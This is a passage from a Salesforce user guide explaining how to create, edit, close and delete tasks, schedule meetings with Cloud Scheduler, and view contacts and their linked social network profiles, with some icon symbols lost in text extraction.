Working with Case Emails on page 3193 for more information.
If the task is an email that was sent to Salesforce using Email to Salesforce or Salesforce for Outlook, you may see a banner
at the top of the email detail page with a link to the My Unresolved Items page. Use this page to assign any unassociated
emails to related Salesforce records.

See Also:
Creating Tasks
Editing Tasks
Closing Tasks
Using Your Calendar and Tasks on the Home Page
Activity Fields
Shared Activities Overview

Creating Tasks
Available in: All Editions except Database.com

User Permissions Needed


To create tasks:

Edit Tasks

Track the tasks you perform, such as making phone calls or sending email.
1. To create a task click New from the My Tasks section of the Home tab.
2. If you have an option to select a task record type, choose one from the drop-down list and click Continue.
Note: When you create a task with a non-default record type and the task is part of a recurring series, Salesforce
still applies the default record type to your recurring task. Additionally, any picklist fields associated with the default
record type will not display.
3. Enter the task details.

Assigned To. Assigned owner of task. By default, the task is assigned to the creator. To assign the task to another

user, enter a users name, or select a user with the lookup icon. This field is not available in Personal Edition. To assign
independent copies of a new task to multiple users, see Creating Group Tasks on page 166.
Subject. Subject or short description of the task, for example, Email quote to customer. You can enter a subject,
or select from a picklist of previously defined subjects.

164

Activities

Creating Tasks

Due Date (optional). Date when the task should be completed. You can enter a date, or choose a date from the calendar

that displays when you put your cursor in the field.


Comments (optional). Text note describing the task.
Related To (optional). Record that the task is associated with such as an account or opportunity. This field is not
available when you associate the task with a lead instead of a contact.

Name (optional). Contact or lead related to the task. You can enter the name of the person or use

to select the
name. If you use Shared Activities on page 123, you can relate up to 10 contacts to the task. To relate more than one
name, click

. In the Select Contacts dialog box, type a name in the Search box, and click Find. Use

and

to select and deselect names. Use the Make Primary button to select a primary contact. Then, click Done.
4. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Comments field.
Note that the Check Spelling button must be enabled separately for events and tasks. Spell Checker does not support all
the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian, and double-byte
languages, such as Japanese, Korean, or Chinese.
5. Attach files as needed by clicking Attach File on the Attachments related list. If you dont see this related list, you may
need to first ask your administrator to add it to the task page layout. For recurring tasks, the attachment is added to the
series of tasks. Each occurrence of the recurring task can also have its own unique set of attachments. Sending a notification
email also sends the attachment.
6. Specify the status and priority of the task.
7. Select the Send Notification Email checkbox to send a notification email to the tasks assignee when you save the
task. To save the current state of the checkbox as your personal default, select Make this the default setting.
8. For non-Shared Activities tasks, you can create a recurring task.
a. Select the Create Recurring Series of Tasks check box.
The Due Date field is disabled because not all recurring tasks have the same due dates.
b. Select the frequency of recurrence.
Note: Depending on the type of series you are creating, the maximum number of occurrences is as follows:

Daily: 100
Weekly: 53
Monthly: 60
Yearly: 10

c. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed
based on the frequency you selected.
9. Optionally, set a reminder on the task.
If youre creating a recurring task, the reminder applies to each occurrence in the task series.

165

Activities

Creating Group Tasks

10. Click Save, Save & New Task or Save & New Event.

See Also:
Using Your Calendar and Tasks on the Home Page
Using the Open Activities Related List
Viewing Tasks
Editing Tasks
Setting Reminders on Activities
Shared Activities Overview

Creating Group Tasks


Available in: All Editions except Database.com

User Permissions Needed


To create tasks:

Edit Tasks

You can create a task so that up to 100 users are each assigned an independent copy of the task. For example, you could create
a task Submit your expense reports with the appropriate due date and assign it to a team of account executives.
This functionality is enabled by default, but your administrator can choose to disable it for your organization. For more
information, see Customizing Activity Settings on page 1331.
To create a group task:
1. On the New Task page, click the lookup icon ( ) next to the Assigned To field.
2. In the lookup window, select the Multiple Users tab.
3. Users can be organized into various categories such as personal groups, public groups, roles, or territories. In the Search
drop-down list, select the appropriate option.
4. Optionally, enter one or more characters in the text box and click Find to perform a search.
5. In the Available Members list, click one or more items to select them. Press CTRL+click to select multiple items
individually, or SHIFT+click to select multiple adjacent items at the same time.
6. Click the Add and Remove buttons to move your selections between the lists.
7. When the appropriate choices are in the Selected Members list, click Done. If your selections total more than 100
users, you must reduce your selections before you can proceed.
8. On the New Task page, see your selections display next to the Assigned To field. The total number of tasks you are
creating also displays.
9. Continue entering task details such as due date, status, and comments.
Note: When a task is assigned to multiple users or a group, the Create Recurring Series of Tasks
checkbox is disabled. You cannot create group recurring tasks.

166

Activities

Editing Tasks

10. When you save the task, your selected users will be assigned copies of the task. Note that these copies are independent and
not linked; they can be edited, transferred, or deleted individually.
Tip: Personal groups are a convenient way to organize users into groups that are meaningful to you. For details, see
Creating and Editing Groups on page 590.

See Also:
Creating Tasks

Editing Tasks
Available in: All Editions except Database.com

User Permissions Needed


To edit tasks:

Edit on tasks

1. Click the subject of the task from the My Tasks section of the Home tab.
2. For non-recurring tasks, click Edit.
3. For non-Shared Activities tasks that are part of a recurring series, perform one of the following.

To edit an individual task occurrence, click the View Task subtab, and click Edit Task.
To edit an entire task series, click the View Series subtab and click Edit Series. Alternatively, click the Edit Series link
in the Recurrence section of the detail page.
Note: When editing recurring tasks, keep the following in mind.

Changes you make to an individual task occurrence are overwritten if the task series is subsequently updated
with conflicting information.
If you change details in the recurrence section of the series, all open tasks that were part of the series will be
deleted and new tasks will be created. Any changes made to individual open tasks that have not yet occurred
will be lost.

4. Edit the task fields as needed.


Tip:

If Shared Activities is enabled, you can click


to edit your selected contacts. Use
and
in the Select
Contacts dialog box to add or remove names or use Search to find more names. Make sure to click Done when
finished.
If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the
Comments field. Note that the Check Spelling button must be enabled separately for events and tasks. Spell
Checker does not support all the languages that Salesforce supports. For example, Spell Checker doesnt support
Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese.

167

Activities

Deleting Recurring Tasks

Select the Send Notification Email checkbox to send a notification email to the tasks assignee when
you save the task. To save the current state of the checkbox as your personal default, select Make this the
default setting.
You cannot change the status of an entire recurring task series. To change the status, you must edit each
occurrence in the recurring series.

5. Attach files as needed by clicking Attach File on the Attachments related list. If you dont see this related list, you may
need to first ask your administrator to add it to the task page layout. For recurring tasks, the attachment is added to the
series of tasks. Each occurrence of the recurring task can also have its own unique set of attachments.
6. Click Save.

See Also:
Viewing Tasks
Closing Tasks
Setting Reminders on Activities
Activity Fields
Shared Activities Overview

Deleting Recurring Tasks


Available in: All Editions except Database.com

User Permissions Needed


To delete recurring tasks:

Edit Tasks

To delete a single task occurrence or an entire task series:


1. Click the subject of the task from any of the following locations:

The My Tasks section of the Home tab


The calendar day view
An activities list view
The Open Activities related list on an associated record
The Activity History related list on an associated record

2. Do one of the following:

To delete an individual task occurrence, select the View Task subtab located above the task details, and click Delete
Task.
To delete a task series, select the View Series subtab, click Delete Series and click OK to confirm the deletion.

Deleted tasks are moved to the Recycle Bin.

168

Activities

Closing Tasks

Note:
When you delete a task series:

Closed task occurrences are not deleted.


Only future task occurrences are placed in the Recycle Bin.
To restore a series from the Recycle Bin, you must restore each task occurrence. Salesforce restores series and
occurrence-specific task details.

See Also:
Creating Tasks
Editing Tasks
Viewing Tasks

Closing Tasks
Available in: All Editions except Database.com

User Permissions Needed


To edit tasks:

Edit Tasks

To close tasks:
1. On the My Tasks section of the Home tab or on the My Tasks section of the calendar day view, click X next to the
appropriate task. Alternatively, in the Open Activities related list on an associated record, click Cls next to the appropriate
task.
To close all tasks in a recurring series, you must close each occurrence separately.
2. Click Save to accept the changed Status value.
3. Click Save. The closed task displays in the Activity History related list of the associated record.
Note: By default, the status changes to Completed when you click X or Cls. However, if your administrator has
customized the task status picklist, then the value changes to the first value for which the Closed checkbox is selected
according to the current order of picklist values. For example, if your administrator has customized the task status
picklist values so that both Completed and Deferred are defined as Closed and Deferred is above Completed
in the current order of picklist values, then clicking X or Cls sets the status value to Deferred.

See Also:
Viewing Tasks
Editing Tasks
Using the Activity History Related List
Shared Activities Overview

169

Activities

About Cloud Scheduler

About Cloud Scheduler


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To request a meeting:

Edit Events
AND
Send Email

Watch a Demo (2:37 minutes)


Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

When you use Cloud Scheduler to request a meeting with a contact, lead, person account, or other Salesforce user, Salesforce
creates a unique Web page for your meeting that displays the proposed meeting times. When invitees visit the page, they select
the times that work for them, and send you a reply. Salesforce tracks all the responses so you can pick the best time to meet
when you confirm the meeting.
The following sections provide an overview of how to request a meeting using Cloud Scheduler.
Step 1: You Request a Meeting and Propose Meeting Times
Go to either the Calendar section on the Home tab or the Open Activities related list on the detail page of the contact,
lead, or person account you want to request a meeting with. Click New Meeting Request to open the Meeting Request
page.

1. Click To to invite other Salesforce users, leads, contacts, or person accounts to the meeting.
2. Click in the calendar to propose up to five meeting times, or let Salesforce propose times for you.

170

Activities

About Cloud Scheduler

Step 2: Invitees Pick the Times They Can Meet


Salesforce emails a meeting request to the invitees so they can pick the times they are available.

1. In the meeting request, invitees click Respond to This Request to open your meeting's Web page.
2. On the meeting Web page, invitees pick the proposed times that work for them and send you a reply.
Step 3: You Confirm the Meeting
Salesforce keeps track of all the responses so you can see when each invitee is available. You then select the best time to
meet and confirm the meeting.

See Also:
Shared Activities Overview

171

Activities

Requesting a Meeting Using Cloud Scheduler

Requesting a Meeting Using Cloud Scheduler


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To request a meeting:

Edit Events
AND
Send Email

Watch a Demo (2:37 minutes)


Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

Before you use Cloud Scheduler to request a meeting with a contact, lead, person account, or other Salesforce user, consider
these tips:

You must have at least read access to the contacts, leads, and person accounts that you request a meeting with.
Each invitee must have an email address specified in their record so Salesforce can send them a meeting request.
You can invite up to 50 people to a meeting. Invitees can consist of only contacts, leads, or person accounts, only other
Salesforce users, or a mix of both.
We recommend you install Salesforce for Outlook, Connect for Outlook, or Connect for Lotus Notes so you can sync
your calendar events between Salesforce and Outlook or Lotus Notes.
When proposing meeting times, it's helpful to have your Salesforce calendar up-to-date so you can see your free and busy
times.

To request a meeting:
1. Go to either the Calendar section on the Home tab or the Open Activities related list on the detail page of the contact,
lead, or person account you want to invite to a meeting.
2. Click New Meeting Request.
If this button doesn't display in the Calendar on the Home tab or on the Open Activities related list, ask your Salesforce
administrator to add it.
3. Click To to invite other Salesforce users, leads, contacts, or person accounts to the meeting.
a. Select the type of invitee from the drop-down list.
Person accounts are returned in contact searches and can be added as invitees.
b. Enter a name or part of a name in the text field, or leave the field blank to expand the search.
c. Click Go!.
d. In the Search Results area, select the boxes next to the people you want to invite and click Insert Selected.
To add more invitees, perform a new search and select more people as needed.

172

Activities

Requesting a Meeting Using Cloud Scheduler

If there's a warning icon ( ) next to a person's name, you can't invite them to the meeting because they don't have an
email address specified in their record. Once you add an email address to their record, you can invite them to meetings.
e. Click Done.
To remove someone you just invited, click x next to their name in the To field. You can remove all invitees unless
you requested the meeting from an Open Activities related list. In that case, the first contact, lead or person account
in the To field can't be removed.
4. Enter a subject and location.
If you requested the meeting from an Open Activities related list, the default subject is a combination of the account name
for the lead or contact and the company name specified in your personal information. For example, if you're meeting with
a contact from the Sterling company and you work for ACME, the default subject is Sterling and ACME. The default
location is always To be determined.
5. Select one of these tabs:

I propose meeting timesPropose up to five meeting times by picking times in the calendar. See Tips for Proposing
Meeting Times on page 174.
Let Salesforce propose meeting timesChoose the duration and time frame of the meeting and let Salesforce propose
up to five meeting times for you. See Tips for Letting Salesforce Propose Meeting Times on page 175.

6. Click Next.
7. Write a message to the invitees, and click Send.
Note the following:

Your email signature is automatically added to your message.


After you click Send, Salesforce emails a meeting request to the invitees.
In the meeting request, invitees click Respond to This Request to open your meeting's Web page. On the meeting
Web page, invitees pick the proposed times that work for them and send you a reply.

Your meeting's Web page displays all messages between you and the invitees. This includes messages that invitees write
when responding to your request.
If you requested the meeting from an Open Activities related list, the meeting appears on the detail page for that contact
or lead only. It doesn't appear on the Open Activities related list for any other invitee. For example, if you requested a
meeting with Jane Smith from her contact detail page and then clicked the To field to invite John Doe, the requested
meeting only appears on the Open Activities related list for Jane Smith and not John Doe. If you requested the meeting
from the Calendar section on the Home tab, the meeting doesn't appear on the Open Activities related list for either
Jane Smith or John Doe.

After you send your meeting request, wait for the invitees to reply with the times they can meet. Then confirm the meeting
by selecting a final meeting time.

See Also:
About Cloud Scheduler
Canceling a Requested Meeting
Rescheduling a Requested Meeting
Adding and Removing Invitees from a Requested Meeting

173

Activities

Tips for Proposing Meeting Times

Tips for Proposing Meeting Times


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To request a meeting:

Edit Events
AND
Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

When you request a meeting using Cloud Scheduler, you can either propose meeting times or let Salesforce propose times for
you.
When you propose meeting times:

Proposed times aren't saved to your Salesforce calendar. The meeting only appears in your calendar after you confirm the
meeting.
When the invitees view your meeting request, the proposed times are shown in your time zone. Proposed times aren't
shown in the invitees' time zones.
You can't propose a time that occurs in the past (before the black line in the calendar).
The calendar's shaded areas show when you and the other invited Salesforce users are busy based on your Salesforce
calendars. Darker shades show when multiple Salesforce users are busy at the same time.
Use the Duration field to change the length of your meeting.
To remove a time you proposed, hover over the proposed time and click x.

See Also:
About Cloud Scheduler
Tips for Letting Salesforce Propose Meeting Times

174

Activities

Tips for Letting Salesforce Propose Meeting Times

Tips for Letting Salesforce Propose Meeting Times


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To request a meeting:

Edit Events
AND
Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

When you request a meeting using Cloud Scheduler, you can either propose meeting times or let Salesforce propose times for
you.
One of the benefits of letting Salesforce propose meeting times happens when there's a long delay between the time you send
the meeting request and when the first invitee views it. For example, if you request a meeting with a contact on a Monday
and that contact doesn't view your request until Thursday, Salesforce proposes times from Thursday forward instead of when
the meeting request was sent.
When Salesforce proposes meeting times:

You won't know which times are proposed until after you send the meeting request. Once the first invitee views your
request, Salesforce checks the calendars of all Salesforce users invited to the meeting and proposes meeting times based on
their availability.
Salesforce tries not to propose the same times that invitees have already selected for other unconfirmed meetings. For
example, if you request a meeting for the next five business days and your invitees respond that they can meet on Tuesday
and Wednesday from 2:00 to 3:00 p.m., and then you request another meeting for the same time frame, Salesforce won't
propose times for Tuesday and Wednesday from 2:00 to 3:00 p.m. unless your calendar is completely booked with confirmed
meetings and other events.

By default, Salesforce proposes meeting times between 9:00 a.m. and 5:00 p.m. in your time zone. However, if you have
changed the Start of day and End of day fields in your Personal Information Settings page, Salesforce uses those
settings instead.
Note: If you don't want to meet at a specific time of day (like your lunch hour), schedule a recurring event in your
Salesforce calender to block out that time.

The following table describes the settings that control how Salesforce proposes meeting times.
Field

Description

Duration

The length of your meeting.

175

Activities

Confirming a Requested Meeting

Field

Description

Time Frame

How far in advance Salesforce proposes meeting times:

Next 5 Business Days/Next 10 Business DaysSalesforce


tries to spread out the proposed times over the specified
time frame. For example, if your time frame is Next 5
Business Days and the first invitee views the request on a
Monday, Salesforce tries to propose a time for each day of
that week. If some of your days are booked, Salesforce
condenses the proposed times into fewer days.
Business days exclude Saturdays and Sundays.

WheneverSalesforce tries to propose five meeting times


over the next five business days, and if it can't propose
enough times, it extends the range over the next 10
business days. If Salesforce still can't find five times to
propose, it looks for available times over the next four
weeks.
When you select this option, some of the times Salesforce
proposes could be seven weeks away (5 business days + 10
business days + 20 business days = 7 weeks).

See Also:
About Cloud Scheduler
Tips for Proposing Meeting Times

Confirming a Requested Meeting


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To confirm a meeting:

Edit Events
AND
Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

176

Activities

Confirming a Requested Meeting

After you use Cloud Scheduler to request a meeting, wait for the invitees to reply with the times they can meet. When this
happens, you receive an email notification, and the meeting in Salesforce is automatically updated with the times the invitees
selected. You can then choose the best time to meet and confirm the meeting.
The meeting confirmation page displays as read-only to users without the Edit Events permission and users without the
Edit permission on the contact or lead record associated with a proposed meeting.
To confirm a meeting:
1. Open your meeting using one of these methods:

From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it.
If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the
subject of your meeting in the related list.
From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.

2. Select a time, and click Confirm.


The Confirm button displays after you select a meeting time. If you don't select a time, the Send Update button displays
instead so you can send the invitees a message without confirming a meeting time.
Use the following tools to help you pick a time:

Green check marks show when each invitee can meet.


Free shows when you are available based on your Salesforce calendar.
If none of the times work for the invitees, reschedule the meeting to propose new times.

3. Optionally, enter a message to the invitee.


4. Click Send to confirm the meeting.
Salesforce then:

Emails the invitees with the final date and time of the meeting.
Converts the requested meeting to a new multi-person event. The last message you sent to the invitees appears in the
event's Description field, but all other messages between you and the invitees aren't saved.
This event appears in the Calendar section on the Home tab. If you requested the meeting from an Open Activities
related list, the event also appears in the Open Activities related list for that contact, lead, or person account.
Note: If your administrator added required fields to events, you're prompted to update those fields before the meeting
is converted to an event.

See Also:
Canceling a Requested Meeting
About Cloud Scheduler

177

Activities

Guidelines for Adding a Custom Logo to Meeting Requests

Guidelines for Adding a Custom Logo to Meeting Requests


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To customize activity settings:

Customize Application

When you show a custom logo in meeting requests, your logo appears in the following locations:

Email requests sent to invitees when you request a meeting or schedule an event
Meeting response pages where invitees select the times they can meet when you request a meeting
Event response pages where invitees accept or decline the event

When using a custom logo:

The image must be in GIF, JPEG, or PNG format and be less than 20 KB.
For best results, use an image that is no more than 130 pixels wide by 100 pixels high at 72 pixels per inch. Images that
are larger than these dimensions may not display correctly in some email clients due to automatic resizing.
You must first upload your logo to the Documents tab and make it externally available. Documents marked Internal
Use Only can't be used as a logo.
Note: If your custom logo is in the Shared Documents folder on the Documents tab, other users can replace it
and indirectly change the logo that appears in meeting invitations. We recommend uploading the logo to your
personal folder on the Documents tab so only you can replace it.

You can't delete a custom logo from the Documents tab when it's being used in meeting requests. You must first either
select another document to use as your logo or uncheck the option to display a custom logo in meeting requests.

Canceling a Requested Meeting


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To cancel a meeting:

Edit Events
AND
Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

178

Activities

Canceling a Requested Meeting

If you requested a meeting that hasn't been confirmed, you can cancel the meeting and Salesforce automatically sends a
cancellation notice to the invitees. However, if you confirmed the meeting then it has been converted to an event that you can
delete like all other activities.
To cancel a requested meeting:
1. Open your meeting using one of these methods:

From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it.
If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the
subject of your meeting in the related list.
From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.

2. Click Cancel Meeting.


You can also click Del next to the meeting from the Open Activities related list.
Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either
ask the organizer to change the meeting details for you, or contact your Salesforce administrator to grant you the
required permissions.
3. Click OK to confirm the cancellation.
Salesforce emails a meeting cancellation to all invitees. Canceled meetings are permanently removed and aren't stored in
the Recycle Bin.

See Also:
Requesting a Meeting Using Cloud Scheduler
Confirming a Requested Meeting
Deleting Activities
About Cloud Scheduler
Adding and Removing Invitees from a Requested Meeting

179

Activities

Rescheduling a Requested Meeting

Rescheduling a Requested Meeting


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To reschedule a meeting:

Edit Events
AND
Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

If you used Cloud Scheduler to request a meeting that hasn't been confirmed, you can reschedule it and propose new times.
However, you can't propose new times for a confirmed meeting because it's been converted to an event. To reschedule an
event, edit the event to change its date and send an update to the invitees.
To reschedule a requested meeting:
1. Open your meeting using one of these methods:

From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it.
If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the
subject of your meeting in the related list.
From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.

2. Click Reschedule and propose new times.


Once the invitees reply to your updated request, you can confirm the meeting.
Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either
ask the organizer to change the meeting details for you, or contact your Salesforce administrator to grant you the
required permissions.

See Also:
Requesting a Meeting Using Cloud Scheduler
Confirming a Requested Meeting
Canceling a Requested Meeting
Adding and Removing Invitees from a Requested Meeting
About Cloud Scheduler

180

Activities

Adding and Removing Invitees from a Requested Meeting

Adding and Removing Invitees from a Requested Meeting


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To add and remove invitees from a requested meeting:

Edit Events
AND
Send Email

Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.

If you requested a meeting that hasn't been confirmed, you can add and remove invitees at any time. Confirmed meetings are
converted to multi-person events. You can edit multi-person events to add and remove invitees.
To add or remove invitees from a requested meeting:
1. Open your meeting using one of these methods:

From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it.
If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the
subject of your meeting in the related list.
From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.

2. Do either of the following:

Click To to invite other Salesforce users, leads, contacts, or person accounts to the meeting.
Click x next to an invitee's name to remove them from the meeting.
You can remove all invitees unless you requested the meeting from an Open Activities related list. In that case, the first
contact, lead or person account in the To field can't be removed.

The calendar automatically updates based on the Salesforce users you added or removed from the meeting.
Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either
ask the organizer to change the meeting details for you, or contact your Salesforce administrator to grant you the
required permissions.
3. Click Send Update.
4. Enter a message. For example, you might want to inform your invitees who you're adding or removing from the meeting.
5. Click one of the following:

Send to All InviteesSends an update to all existing and added invitees and a cancellation notice to removed invitees.

181

Contacts

Contacts Overview

Send Only to Changed InviteesSends an update to added invitees and a cancellation notice to removed invitees.

See Also:
Requesting a Meeting Using Cloud Scheduler
Canceling a Requested Meeting
Confirming a Requested Meeting
Rescheduling a Requested Meeting
About Cloud Scheduler

CONTACTS
Contacts Overview
Available in: All Editions except Database.com

Contacts are the people associated with your business accounts that you need to track in Salesforce. For each contact, you can
store various kinds of information, such as phone numbers, addresses, titles, and roles in a deal.
The Contacts tab lets you quickly create and locate contacts, as well as sort and filter contacts using standard and custom list
views. And you can use this tab to view and edit detailed information for each contact you have access to.
You can also enhance your traditional contact data with your customers social information. With the Social Accounts and
Contacts feature, you can see your contacts social network profiles and other social data directly in Salesforce. Easy access to
this information helps you know your customers better, so you can solve their problems and build stronger relationships.

See Also:
Contacts Home
Social Accounts, Contacts, and Leads Overview
Accounts Overview
Resolving Your Synced Outlook Contacts

182

Contacts

Social Accounts, Contacts, and Leads Overview

Social Accounts, Contacts, and Leads Overview


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Contacts available in: All Editions except Database.com
Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

The Social Accounts and Contacts feature lets you view social network profiles and other social information for your accounts,
contacts, and leads, directly in Salesforce. Easy access to this information provides your sales users with social sales intelligence
that they can use to better meet existing and potential customers needs. The Social Accounts and Contacts feature is enabled
by default for organizations created after the Spring 12 release. For existing organizations, the administrator must enable
Social Accounts and Contacts.
Note: In the online help and other Salesforce documentation, the word account by itself always refers to both
business accounts and person accounts. The terms business account and person account are used when there are
differences between the two kinds of accounts.
You can see social information from several social networks.
Social
Network

Information Displayed in Salesforce

Supported Records

Facebook

Facebook gives you a more personal view of your existing and potential
Accounts
customers and helps you find common interests. For contacts, leads, and
Contacts
person accounts, you can see profiles, status updates, and the number of
mutual friends you share. For business accounts, you can view your customers Leads
corporate social media presence, including their company profile and wall
posts.

Klout

Klout is a third-party service that analyzes people's influence across social Accounts
networks, including Twitter, Facebook, and LinkedIn. Use Klout to see
Contacts
your accounts', contacts', and leads' influence on social media, who they
Leads
influence, who influences them, and the topics they talk about.

LinkedIn

LinkedIn is useful for staying up to date on your contacts', leads', and person Contacts
accounts' professional personas. You can see profile photos, current titles
Leads
and companies, and locations.
Person Accounts

Twitter

Twitter is a great way to see the public personas of your existing and
Accounts
potential customers and learn what's on their minds. You can see bios, recent
Contacts
tweets, and the people who are following and being followed by your
Leads
accounts, contacts, and leads.

183

Contacts

Social Accounts, Contacts, and Leads Overview

Social
Network

Information Displayed in Salesforce

Supported Records

YouTube

YouTube helps you find and view videos related to your accounts, contacts, Accounts
and leads.
Contacts
Leads

Additional social networks may be available in future updates.


Important: The Social Accounts and Contacts feature uses Facebook, Klout, LinkedIn, Twitter, and YouTube public
APIs to display social information in Salesforce. Because these social networks have the option of modifying or
terminating access to their APIs at any time, salesforce.com cant guarantee the future availability of this feature or
any of its functionality, including access to the data that is currently provided or to any particular social network as a
whole.
To get started with Social Accounts and Contacts, simply sign in to your social network accounts from any account, contact,
or lead detail page. This creates private connections between Salesforce and your social network accounts, allowing you to see
external social profiles in Salesforce.
Then youre ready to take your customer insights to the next level by linking your accounts, contacts, and leads social profiles
to their Salesforce records. Once you link a profile to a record, that social data is available to you and everyone else in your
organization, without having to log in to other sites. The details that each Salesforce user can see depends on their connection
level with the account, contact, or lead, as well as the privacy settings for the profile. Regardless of how much detail is visible,
the information that Salesforce displays is always current.
Click the social network icons in the header on account, contact, and lead detail pages to display the Social Accounts and
Contacts viewer. If no icons are visible, Social Accounts and Contacts is disabled for your organization. If a social network
icon is missing, that service may be turned off. Contact your administrator if you'd like to use this feature or want access to a
social network that isn't currently available.

See Also:
Security and Privacy When Using Social Accounts and Contacts
Enabling and Configuring Social Accounts and Contacts
Using Social Accounts
Security and Privacy When Using Social Accounts and Contacts
Enabling and Configuring Social Accounts and Contacts
Using Social Contacts
Security and Privacy When Using Social Accounts and Contacts
Enabling and Configuring Social Accounts and Contacts
Using Social Leads

184

Contacts

Social Accounts, Contacts, and Leads Overview

Security and Privacy When Using Social Accounts and Contacts


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Contacts available in: All Editions except Database.com
Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Social Accounts and Contacts is secure and private. Here's an overview of its security and privacy features:

Salesforce uses the trusted OAuth protocol when you sign in to your Facebook, LinkedIn, or Twitter accounts, so your
login credentials aren't exposed to Salesforce.
Salesforce doesn't import or store social information. Each time you select a contact's social profile or YouTube video,
Salesforce retrieves the information directly from the corresponding social network and simply displays it. The information
that you see is read-only and can't be modified.
You can't import or store social data in Salesforce records. This ensures that you always see current details when viewing
your accounts', contacts', and leads' social information.
The details that are visible to you when you view a Facebook, LinkedIn, or Twitter profile are determined by the connection
that you have with the account, contact, or lead, as well as privacy settings. Typically you see the same information as you
would when viewing the profile while logged in directly to the social network. Some of your customers, however, may have
privacy settings that restrict the visibility of some or all of their profile details outside the network. In those cases, you see
very few, if any, profile details in Salesforce.
Your view of a Facebook, LinkedIn, or Twitter profile is not shared with anyone else in your organization. Other Salesforce
users must sign in to their own social network accounts to use Social Accounts and Contacts and the profile details that
are visible depend on each user's connection level with the account, contact, or lead, as well as their privacy settings.
None of your Facebook, LinkedIn, or Twitter profile information is stored in Salesforce, nor does Salesforce post anything
about you or your activities to your social network accounts.
Accounts, contacts, and leads aren't notified when you view their social network profiles using the Social Accounts and
Contacts feature.
Important: The Social Accounts and Contacts feature uses Facebook, Klout, LinkedIn, Twitter, and YouTube public
APIs to display social information in Salesforce. Because these social networks have the option of modifying or
terminating access to their APIs at any time, salesforce.com cant guarantee the future availability of this feature or
any of its functionality, including access to the data that is currently provided or to any particular social network as a
whole.

See Also:
Social Accounts, Contacts, and Leads Overview
Using Social Accounts
Social Accounts, Contacts, and Leads Overview
Using Social Contacts
Social Accounts, Contacts, and Leads Overview
Using Social Leads

185

Contacts

Contacts Home

Contacts Home
Available in: All Editions

User Permissions Needed


To view Contacts tab:

Read on contacts

To view contacts:

Read on contacts

To create contacts:

Create on contacts

Clicking on the Contacts tab displays the contacts home page.

In the View section, select a list view from the drop-down list to go directly to that list page, or click Create New View to
define your own custom view.
In the Recent Contacts section, select an item from the drop-down list to display a brief list of the top contacts matching
that criteria. From the list, you can click any contact name to go directly to the contact detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the Contacts
Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited,
and Developer Editions only). The Recent Contacts choices are:
Recent Contacts Choice

Description

Recently Viewed

The last ten or twenty-five contacts you viewed, with the


most recently viewed contact listed first. This list is derived
from your recent items and includes records owned by you
and other users.

Recently Created

The last ten or twenty-five contacts you created, with the


most recently created contact listed first. This list only
includes records owned by you.

Recently Modified

The last ten or twenty-five contacts you updated, with the


most recently updated contact listed first. This list only
includes records owned by you.

Under Quick Create, fill in the fields to add a new contact. Alternatively, click New next to the Recent Contacts section
to create a new contact.
Under Reports, click any report name to jump to that report.
Select any of the links under Tools to manage your contacts.
If you sync contacts from Outlook using Salesforce for Outlook, you may see a banner at the top of your Contacts home
page that links to a list of your unresolved contacts. These are synced Outlook contacts that still need to be assigned to
Salesforce accounts.

186

Contacts

Viewing Contact Lists

Person accounts appear in contact list views but not the Recent Contacts list on the Contacts home page.

See Also:
Contacts Overview
Using Contacts
Creating Contacts
Deleting Contacts
